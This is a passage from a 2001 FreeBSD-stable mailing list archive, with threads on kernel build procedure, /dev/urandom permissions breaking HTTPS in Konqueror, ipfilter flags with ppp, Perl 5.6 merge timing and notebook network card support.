tried as many of the > > > suggestions as I can, but no joy. > > > > > Is your pccard a 32 bit (CardBus) or a 16 bit (PCMCIA) card? > > FreeBSD only currently supports 16 bit pccards. 5.0 is supposed to > > have 32 bit support... > > > > Bruce > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 3:25:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id 4816F37B718 for ; Thu, 15 Mar 2001 03:25:25 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 25480 invoked from network); 15 Mar 2001 11:25:22 -0000 Received: from unknown (HELO prophet.alphaque.com) (202.190.165.207) by ns2.alphaque.com with SMTP; 15 Mar 2001 11:25:22 -0000 Received: from localhost (ccolkj@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2FBOSb69579; Thu, 15 Mar 2001 19:24:28 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Thu, 15 Mar 2001 19:24:28 +0800 (MYT) From: Dinesh Nair To: freebsd-stable@freebsd.org Cc: will@freebsd.org Subject: Re: kde-2.1/freebsd 4.3beta/konqueror and openssl In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Mar 2001, Dinesh Nair wrote: > base problem is i cant get konqueror to make https: connections. following > the faq at www.konqueror.org, i explicitly included --with-ssl in > /usr/ports/x11/kdelibs2/Makefile and /usr/ports/x11/kdebase2/Makefile and > rebuilt and reinstalled both kdelibs2 and kdebase2, in that order. fixed this. libssl was trying to read /dev/urandom, but this was originally set as mode 0600 with root as the owner, so it silently died. chmod go+r /dev/urandom and https: on konqueror works like a charm. now question is if openssl is reading /dev/urandom instead of /dev/random or if the perms on /dev/urandom were wrong to begin with. --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 5:16:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id AB5CD37B719 for ; Thu, 15 Mar 2001 05:16:41 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14dXcO-000OnU-00; Thu, 15 Mar 2001 13:16:40 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2FDGem20849; Thu, 15 Mar 2001 13:16:40 GMT (envelope-from jcm) Date: Thu, 15 Mar 2001 13:16:40 +0000 From: j mckitrick To: Torben Baecker Cc: freebsd-stable@freebsd.org Subject: Re: New KERNCONF option Message-ID: <20010315131640.B20797@dogma.freebsd-uk.eu.org> References: <20010313160817.A149@dogma.freebsd-uk.eu.org> <004701c0abdb$67876d50$020b010a@dialogs.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <004701c0abdb$67876d50$020b010a@dialogs.de>; from torben.b@gmx.net on Tue, Mar 13, 2001 at 05:33:58PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Mar 13, 2001 at 05:33:58PM +0100, Torben Baecker wrote: | > make buildworld | > make buildkernel KERNCONF=JUPITER | > make installkernel KERNCONF=JUPITER | > ... | > | > Is this correct? | > | > jm | | Hi, | | make buildworld | make kernel KERNCONF=JUPITER | | that's all Cool. Then you shutdown, install world, run mergemaster, and reboot, correct? jm -- --------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org "It took the computing power of three C-64s to fly to the Moon. It takes a 486 to run Windows 95. Something is wrong here." --------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 5:29:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sanson.reyes.somos.net (freyes.static.inch.com [216.223.199.224]) by hub.freebsd.org (Postfix) with ESMTP id 8511337B718 for ; Thu, 15 Mar 2001 05:29:21 -0800 (PST) (envelope-from fran@reyes.somos.net) Received: from zoraida.reyes.somos.net (zoraida.reyes.somos.net [192.168.10.6]) by sanson.reyes.somos.net (8.9.3/8.9.3) with ESMTP id IAA21444 for ; Thu, 15 Mar 2001 08:18:26 -0500 (EST) (envelope-from fran@reyes.somos.net) Date: Thu, 15 Mar 2001 08:33:57 -0500 (EST) From: Francisco Reyes To: Subject: How to burn ISO? (was New 4.3 BETA (BETA2)... ) In-Reply-To: <20010313191333C.jkh@osd.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Jordan Hubbard wrote: > Since there has been a sudden spate of changes post-BETA (not a huge > number, but more than the usual amount in -stable since the freeze) > I decided it would be a good idea to roll a BETA2 snapshot, and > it's now on: > > ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.3-BETA2/ How can I make a bootable CD from this? Could not find anything on the archives, FAQ or handbook. I know how to create disk from ISO images, but last I tried the CD was not bootable. The line I use to create disks from ISO images is: burncd -f /dev/acd0c -s 10 data fixate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 5:34:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sanson.reyes.somos.net (freyes.static.inch.com [216.223.199.224]) by hub.freebsd.org (Postfix) with ESMTP id 2D72937B719 for ; Thu, 15 Mar 2001 05:34:19 -0800 (PST) (envelope-from fran@reyes.somos.net) Received: from zoraida.reyes.somos.net (zoraida.reyes.somos.net [192.168.10.6]) by sanson.reyes.somos.net (8.9.3/8.9.3) with ESMTP id IAA21457; Thu, 15 Mar 2001 08:22:05 -0500 (EST) (envelope-from fran@reyes.somos.net) Date: Thu, 15 Mar 2001 08:37:36 -0500 (EST) From: Francisco Reyes To: Torben Baecker Cc: j mckitrick , Subject: Re: New KERNCONF option In-Reply-To: <004701c0abdb$67876d50$020b010a@dialogs.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, Torben Baecker wrote: > make buildworld > make kernel KERNCONF=JUPITER So this new procedure replaces the old? Can one put the KERNCONF variable on /etc/rc.conf and just do "make kernel" Where is this explained in /usr/src/UPDATIN? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 5:45:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id 4F8C637B71A for ; Thu, 15 Mar 2001 05:45:19 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 17357 invoked by uid 0); 15 Mar 2001 13:45:18 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 15 Mar 2001 13:45:18 -0000 Message-ID: <3AB0C76D.D7FD7322@urx.com> Date: Thu, 15 Mar 2001 05:45:18 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Francisco Reyes Cc: Torben Baecker , j mckitrick , freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Francisco Reyes wrote: > > On Tue, 13 Mar 2001, Torben Baecker wrote: > > > make buildworld > > make kernel KERNCONF=JUPITER > > So this new procedure replaces the old? > Can one put the KERNCONF variable on /etc/rc.conf and just do "make > kernel" > > Where is this explained in /usr/src/UPDATIN? You have to read the source but it is easier to see the changes at http://www.freebsd.org/cgi/cvsweb.cgi/src/Makefile.inc1 It is all documented starting around 22 Jan. Kent > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7: 2:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shepherd.hurlburt.af.mil (shepherd.hurlburt.af.mil [151.166.15.65]) by hub.freebsd.org (Postfix) with ESMTP id 5B7B937B718 for ; Thu, 15 Mar 2001 07:02:12 -0800 (PST) (envelope-from Andrew.Hodgkins@hurlburt.af.mil) Received: from shepherd.hurlburt.af.mil (root@localhost) by shepherd.hurlburt.af.mil with ESMTP id JAA12466; Thu, 15 Mar 2001 09:01:34 -0600 (CST) From: Andrew.Hodgkins@hurlburt.af.mil Received: from exwncc02.hurlburt.af.mil (exwncc02.hurlburt.af.mil [151.166.208.36]) by shepherd.hurlburt.af.mil with ESMTP id JAA12431; Thu, 15 Mar 2001 09:01:32 -0600 (CST) Received: by EXWNCC02 with Internet Mail Service (5.5.2650.21) id ; Thu, 15 Mar 2001 09:01:39 -0600 Message-ID: To: fran@reyes.somos.net Cc: freebsd-stable@FreeBSD.ORG Subject: RE: New KERNCONF option Date: Thu, 15 Mar 2001 09:01:37 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You can put the KERNCONF variable in /etc/make.conf and just do "make kernel", yes. --Andy -----Original Message----- From: Francisco Reyes [mailto:fran@reyes.somos.net] Sent: Thursday, March 15, 2001 7:38 AM To: Torben Baecker Cc: j mckitrick; freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option On Tue, 13 Mar 2001, Torben Baecker wrote: > make buildworld > make kernel KERNCONF=JUPITER So this new procedure replaces the old? Can one put the KERNCONF variable on /etc/rc.conf and just do "make kernel" Where is this explained in /usr/src/UPDATIN? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7:46: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id 9BD7537B718 for ; Thu, 15 Mar 2001 07:45:58 -0800 (PST) (envelope-from mvh@ix.netcom.com) Received: from netcom1.netcom.com (lai-ca3a-228.ix.netcom.com [209.110.240.228]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id KAA18781; Thu, 15 Mar 2001 10:45:55 -0500 (EST) Received: by netcom1.netcom.com (Postfix, from userid 1000) id C53AC113AF2; Thu, 15 Mar 2001 07:45:47 -0800 (PST) From: Mike Harding To: Gerhard.Sittig@gmx.net Cc: stable@FreeBSD.ORG In-reply-to: <20010314203520.Y20830@speedy.gsinet> (message from Gerhard Sittig on Wed, 14 Mar 2001 20:35:20 +0100) Subject: Re: /etc/default/rc.conf bad default ipfilter_flags? References: <20010314113640.741AF1140FC@netcom1.netcom.com> <20010314203520.Y20830@speedy.gsinet> Message-Id: <20010315154547.C53AC113AF2@netcom1.netcom.com> Date: Thu, 15 Mar 2001 07:45:47 -0800 (PST) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't believe it will load the module - it, as you say, seems to do the opposite of 'ipf -D'. As ipf seems to be enabled by default, you get a (harmless?) error message. 'ipf -y' should be in your ppp.linkup, but if you use the autodial/nat mode it won't work because the link won't come up until ppp dials, and it won't dial until traffic goes out tun0, and that won't happen because ipf doesn't know about the interface. Needs to be in the network startup. Darren, you out there? Thanks for a great package btw... - MIke Harding Date: Wed, 14 Mar 2001 20:35:20 +0100 From: Gerhard Sittig Content-Type: text/plain; charset=us-ascii Organization: System Defenestrators Inc. Sender: owner-freebsd-stable@FreeBSD.ORG X-Loop: FreeBSD.ORG Precedence: bulk On Wed, Mar 14, 2001 at 03:36 -0800, Mike Harding wrote: > > I can confirm that the "-E" seems to be unecessary for both > kernel and kernel module loads. I'm "guilty" of having provided this default setting (see PR conf/20202). :) It's because I tried the OpenBSD invocation (and what I got from the excellent "IPFilter HowTo") in FreeBSD, too. Admittedly I never tried anything else than compiling ipf(4) into the kernel. And I honestly assume a module loaded by the loader (i.e. before / together with the kernel) to be more of an integral part of the kernel than a module loaded much later after having run for some time without the additional functionality. I'm not 100% positive what the -E switch does to the ipf(8) command. If it makes it load the module at all, that's of course a problem when the functionality is already active. "man 8 ipf" tells me: -E Enable the filter (if disabled). Not effective for loadable kernel versions. so I guess it's about having pass as the default action? Or is it the opposite of temporarily issuing "ipf -D" for whatever reason? To summarize: I don't know. And as discussed (in quite some detail) in "man 5 rc.conf" I don't care about ipf(4) being a module. :> Just state when you're sure ipfilter_flags could always be empty and file a PR to have the default corrected ... > I can also confirm that ppp does not play well with ipfilter > because ipfilter needs a 'ipf -y' to pick up the dynamically > configured interfaces - it's set up before these interfaces > exist, so that any rules applying to them don't work! I stick > a 'ipf -y' near the end of pass 1 in /etc/rc.network but this > is my local hack. Are you referring to conf/22859? There's a followup by me discussing three methods of avoiding the problem. One of them being really easy to apply: it's the "ipf -y" you state. The PR got assigned to darrenr, just ask him kindly to commit the three line extension. But yet I feel that ppp users usually have an "ipf -y" in their /etc/ppp/ppp.link{up,down} anyway ... virtually yours 82D1 9B9C 01DC 4FB4 D7B4 61BE 3F49 4F77 72DE DA76 Gerhard Sittig true | mail -s "get gpg key" Gerhard.Sittig@gmx.net -- If you don't understand or are scared by any of the above ask your parents or an adult to help you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7:52: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lennier.cc.vt.edu (lennier.cc.vt.edu [198.82.161.193]) by hub.freebsd.org (Postfix) with ESMTP id 57F2D37B718 for ; Thu, 15 Mar 2001 07:52:03 -0800 (PST) (envelope-from bjones@vt.edu) Received: from mail.vt.edu (gkar.cc.vt.edu [198.82.161.190]) by lennier.cc.vt.edu (8.11.0/8.11.0) with ESMTP id f2FFq1u307557; Thu, 15 Mar 2001 10:52:01 -0500 (EST) Received: from bej-nt ([128.173.12.23]) by gkar.cc.vt.edu (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with SMTP id <0GA800EVPXEL23@gkar.cc.vt.edu>; Thu, 15 Mar 2001 10:51:57 -0500 (EST) Date: Thu, 15 Mar 2001 10:51:56 -0500 From: Brian Jones Subject: Re: CVSUPDATE to 4.3 beta troubles In-reply-to: <00e901c0acde$9dc4a000$11f66ad8@westbend.net> To: "Scot W. Hetzel" , "stable@freebsd.org" Reply-To: Brian Jones Message-id: <0GA800EVQXEL23@gkar.cc.vt.edu> MIME-version: 1.0 X-Mailer: PMMail 2000 Professional (2.10.2010) For Windows NT (4.0.1381;6) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks! You nailed it. On Wed, 14 Mar 2001 17:29:29 -0600, Scot W. Hetzel wrote: >From: "Brian Jones" >> Since CVS updating to 4.3 yesterday my machine will not mount any >> drives on boot up. Mount -a mounts everything fine after the machine >> boots up in single user mode. The error it gives is .: Out of file >> descriptors on boot up. Any ideas on how to fix this? >> >Kind of sounds like the old problem were the /etc/defaults/rc.conf file was >copied to /etc/rc.conf. > >Check the end of your /etc/rc.conf for a script that is sourcing the >${rc_conf_files}. If there is a script, then you need to remove it. > >Scot > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message > __________________________ CNS Virginia Tech Network Engineering Manager Phone: 540-231-3930 email: bjones@vt.edu __________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7:54:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from clyde.goodleaf.net (piscator.seanet.com [199.181.165.218]) by hub.freebsd.org (Postfix) with ESMTP id 3256337B719 for ; Thu, 15 Mar 2001 07:54:35 -0800 (PST) (envelope-from goodleaf@goodleaf.net) Received: by clyde.goodleaf.net (Postfix, from userid 1001) id 6F8705BBA; Thu, 15 Mar 2001 08:04:45 -0800 (PST) Date: Thu, 15 Mar 2001 08:04:45 -0800 From: "J. Goodleaf" To: stable@freebsd.org Subject: Perl 5.6 merged soon? Message-ID: <20010315080445.A57062@clyde.goodleaf.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I searched the mailing list archives for the answer to this, and found there the same question but no answer--just evaluations of Perl5.6. So is there some expectation of having 5.6 in stable soon, or in 4.3 release? Thx, John -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7:56:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from bumper.jellybaby.net (bumper.jellybaby.net [194.159.247.1]) by hub.freebsd.org (Postfix) with ESMTP id 15FB437B718 for ; Thu, 15 Mar 2001 07:56:20 -0800 (PST) (envelope-from simond@bumper.jellybaby.net) Received: (from simond@localhost) by bumper.jellybaby.net (8.9.2/8.9.2) id PAA09410; Thu, 15 Mar 2001 15:56:16 GMT (envelope-from simond) Date: Thu, 15 Mar 2001 15:56:16 +0000 From: simond@irrelevant.org To: "J. Goodleaf" Cc: stable@FreeBSD.ORG Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315155616.A7708@irrelevant.org> References: <20010315080445.A57062@clyde.goodleaf.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010315080445.A57062@clyde.goodleaf.net>; from goodleaf@clyde.goodleaf.net on Thu, Mar 15, 2001 at 08:04:45AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Mar 15, 2001 at 08:04:45AM -0800, J. Goodleaf wrote: > Hello, > > I searched the mailing list archives for the answer to this, and found > there the same question but no answer--just evaluations of Perl5.6. So > is there some expectation of having 5.6 in stable soon, or in 4.3 release? I don't know about when it's planned, but I think it's very safe to say that it won't make it in for 4.3-RELEASE, it's just too short a time scale. -- Simon Dick simond@irrelevant.org "Why do I get this urge to go bowling everytime I see Tux?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7:57:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from isris.pair.com (isris.pair.com [209.68.2.39]) by hub.freebsd.org (Postfix) with SMTP id A09D037B718 for ; Thu, 15 Mar 2001 07:57:28 -0800 (PST) (envelope-from rooneg@isris.pair.com) Received: (qmail 78628 invoked by uid 3130); 15 Mar 2001 15:57:15 -0000 Date: Thu, 15 Mar 2001 10:57:15 -0500 From: Garrett Rooney To: "J. Goodleaf" Cc: stable@freebsd.org Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315105714.A73113@electricjellyfish.net> References: <20010315080445.A57062@clyde.goodleaf.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315080445.A57062@clyde.goodleaf.net>; from goodleaf@clyde.goodleaf.net on Thu, Mar 15, 2001 at 08:04:45AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Mar 15, 2001 at 08:04:45AM -0800, J. Goodleaf wrote: > Hello, > > I searched the mailing list archives for the answer to this, and found > there the same question but no answer--just evaluations of Perl5.6. So > is there some expectation of having 5.6 in stable soon, or in 4.3 release? from the numerous times i've seen this question asked on various lists, perl 5.6 has not been MFC'd due to several bugs. when those bugs are fixed in a new version of perl, it will likely be MFC'd, but i am certain that will not be in time for 4.3-RELEASE. -- garrett rooney Unix was not designed to stop you from rooneg@electricjellyfish.net doing stupid things, because that would http://electricjellyfish.net/ stop you from doing clever things. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 7:58:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from megaohm.resistor.net (megaohm.resistor.net [166.90.54.133]) by hub.freebsd.org (Postfix) with ESMTP id 4A00737B71A for ; Thu, 15 Mar 2001 07:58:34 -0800 (PST) (envelope-from stl@megaohm.resistor.net) Received: (from stl@localhost) by megaohm.resistor.net (8.11.1/8.11.1) id f2FFwN926682 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 07:58:23 -0800 Date: Thu, 15 Mar 2001 16:58:23 +0100 From: Steven Lawrance To: freebsd-stable@freebsd.org Subject: Accton EN2242 Message-ID: <20010315165823.A2609@koffein.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can anyone say if the Accton EN2242 network adaptor (as found in many new Toshiba, HP, other notebooks) will be supported for -release (by dc driver)? Currently it's recognised, but always returns 'could not map ports/memory' or such upon bootup. (And similar under -current.) cheers (btw, please cc replies to me, i'm not subscribe) -- Steven Lawrance | DHS 1024/0x76F301DE stl@koffein.net | RSA 2048/0x9F030653 ----------------/ http://koffein.net/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 8: 6:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 2B19537B719 for ; Thu, 15 Mar 2001 08:06:41 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id B39C966B6C; Thu, 15 Mar 2001 08:06:40 -0800 (PST) Date: Thu, 15 Mar 2001 08:06:40 -0800 From: Kris Kennaway To: Dan Pelleg Cc: freebsd-stable@FreeBSD.ORG Subject: Re: New 4.3 BETA (BETA2) release available Message-ID: <20010315080640.B60762@mollari.cthul.hu> References: <20010314224449.37600.qmail@web9502.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="4bRzO86E/ozDv8r1" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010314224449.37600.qmail@web9502.mail.yahoo.com>; from peldan@yahoo.com on Wed, Mar 14, 2001 at 02:44:49PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --4bRzO86E/ozDv8r1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Mar 14, 2001 at 02:44:49PM -0800, Dan Pelleg wrote: > Can we hope to see PRs 25640/25566 fixed in time? Best thing might be to remind/bug committers *after* the release, not right before it during the code freeze. Kris --4bRzO86E/ozDv8r1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6sOiQWry0BWjoQKURAhXhAJ9fZ9TtKZe/cAj9euOWshPgwXQYAgCghY7/ MNqzEszw8b+Uy6PTCj7EpA8= =iIHx -----END PGP SIGNATURE----- --4bRzO86E/ozDv8r1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 8: 7:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 4E7CF37B718; Thu, 15 Mar 2001 08:07:25 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 0E53866B6C; Thu, 15 Mar 2001 08:07:25 -0800 (PST) Date: Thu, 15 Mar 2001 08:07:24 -0800 From: Kris Kennaway To: Dinesh Nair Cc: freebsd-stable@freebsd.org, will@freebsd.org Subject: Re: kde-2.1/freebsd 4.3beta/konqueror and openssl Message-ID: <20010315080724.C60762@mollari.cthul.hu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Qbvjkv9qwOGw/5Fx" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from dinesh@alphaque.com on Thu, Mar 15, 2001 at 07:24:28PM +0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Qbvjkv9qwOGw/5Fx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 07:24:28PM +0800, Dinesh Nair wrote: >=20 > On Thu, 15 Mar 2001, Dinesh Nair wrote: >=20 > > base problem is i cant get konqueror to make https: connections. follow= ing > > the faq at www.konqueror.org, i explicitly included --with-ssl in > > /usr/ports/x11/kdelibs2/Makefile and /usr/ports/x11/kdebase2/Makefile a= nd > > rebuilt and reinstalled both kdelibs2 and kdebase2, in that order. >=20 > fixed this. libssl was trying to read /dev/urandom, but this was > originally set as mode 0600 with root as the owner, so it silently > died. chmod go+r /dev/urandom and https: on konqueror works like a charm. >=20 > now question is if openssl is reading /dev/urandom instead of /dev/random > or if the perms on /dev/urandom were wrong to begin with. The latter: > ls -l /dev/*random crw-r--r-- 1 root wheel 2, 3 Mar 11 21:22 /dev/random crw-r--r-- 1 root wheel 2, 4 Mar 11 21:22 /dev/urandom Kris --Qbvjkv9qwOGw/5Fx Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6sOi8Wry0BWjoQKURAkC8AKDQTU+6SHsEYCd0q+Ms05D8iGH5NACZAVRh XHNtXUErMgrhMMZD04etuI4= =FYJm -----END PGP SIGNATURE----- --Qbvjkv9qwOGw/5Fx-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 8: 9: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx1.dev.itouchnet.net (mx1.dev.itouchnet.net [196.14.181.66]) by hub.freebsd.org (Postfix) with ESMTP id 3270337B718 for ; Thu, 15 Mar 2001 08:08:57 -0800 (PST) (envelope-from bvi@devco.net) Received: from nobody by mx1.dev.itouchnet.net with scanned_ok (Exim 3.16 #1) id 14daN6-0002yr-00 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 18:13:04 +0200 Received: from [196.14.181.67] (helo=e0-ter-fw1.dev.itouchnet.net) by mx1.dev.itouchnet.net with esmtp (Exim 3.16 #1) id 14daN6-0002yZ-00 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 18:13:04 +0200 Received: from daemon.prv.dev.itouchnet.net ([192.168.8.10]) by e0-ter-fw1.dev.itouchnet.net with esmtp (Exim 3.15 #1) id 14daIr-0004Qo-00 for freebsd-stable@freebsd.org; Thu, 15 Mar 2001 18:08:41 +0200 Received: from bvi by daemon.prv.dev.itouchnet.net with local (Exim 3.16 #1) id 14daMI-0008kE-00; Thu, 15 Mar 2001 18:12:14 +0200 Date: Thu, 15 Mar 2001 18:12:14 +0200 From: Barry Irwin To: Steven Lawrance Cc: freebsd-stable@freebsd.org Subject: Re: Accton EN2242 Message-ID: <20010315181214.D32543@devco.net> References: <20010315165823.A2609@koffein.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315165823.A2609@koffein.net>; from stl@koffein.net on Thu, Mar 15, 2001 at 04:58:23PM +0100 X-Checked: This message has been scanned for any virusses and unauthorized attachments. X-iScan: Version $Id: iScan,v 1.26 2000/10/08 14:12:55 rip Exp $ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu 2001-03-15 (16:58), Steven Lawrance wrote: > > Can anyone say if the Accton EN2242 network adaptor (as found in many > new Toshiba, HP, other notebooks) will be supported for -release (by dc > driver)? > > Currently it's recognised, but always returns 'could not map > ports/memory' or such upon bootup. (And similar under -current.) > I've not had a problem at 